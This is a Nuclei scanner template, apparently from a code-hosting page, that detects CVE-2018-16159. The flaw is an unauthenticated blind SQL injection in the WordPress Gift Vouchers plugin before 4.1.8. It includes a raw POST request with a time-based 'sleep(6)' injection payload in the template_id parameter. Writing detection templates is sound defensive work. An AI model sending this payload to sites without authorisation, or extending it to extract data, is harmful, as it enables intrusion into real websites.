50 lines
1.9 KiB
YAML
50 lines
1.9 KiB
YAML
id: CVE-2018-16159
|
|
|
|
info:
|
|
name: WordPress Gift Voucher <4.1.8 - Blind SQL Injection
|
|
author: theamanrawat
|
|
severity: critical
|
|
description: |
|
|
WordPress Gift Vouchers plugin before 4.1.8 contains a blind SQL injection vulnerability via the template_id parameter in a wp-admin/admin-ajax.php wpgv_doajax_front_template request. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
|
|
remediation: Fixed in version 4.1.8.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/9117
|
|
- https://wordpress.org/plugins/gift-voucher/
|
|
- https://www.exploit-db.com/exploits/45255/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2018-16159
|
|
- https://wpvulndb.com/vulnerabilities/9117
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2018-16159
|
|
cwe-id: CWE-89
|
|
epss-score: 0.01247
|
|
epss-percentile: 0.83937
|
|
cpe: cpe:2.3:a:codemenschen:gift_vouchers:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: codemenschen
|
|
product: gift_vouchers
|
|
framework: wordpress
|
|
tags: sqli,wordpress,unauth,wp,gift-voucher,cve2018,edb,wpscan,cve,wp-plugin
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
@timeout: 10s
|
|
POST /wp-admin/admin-ajax.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
|
|
action=wpgv_doajax_front_template&template_id=1 and sleep(6)#
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'duration>=6'
|
|
- 'status_code == 200'
|
|
- 'contains(content_type, "application/json")'
|
|
- 'contains(body, "images") && contains(body, "title")'
|
|
condition: and
|
|
# digest: 490a0046304402202849738ee5ab6a9eb8ce2a1cbfddc7ddbb2d84cac045dcdd327dc97e2e967094022015bb33ab4d5fb96ce6cdd0b7d143b66c0a407d6ac365211d1ebebe51e9a12432:922c64590222798bb761d5b6d8e72950 |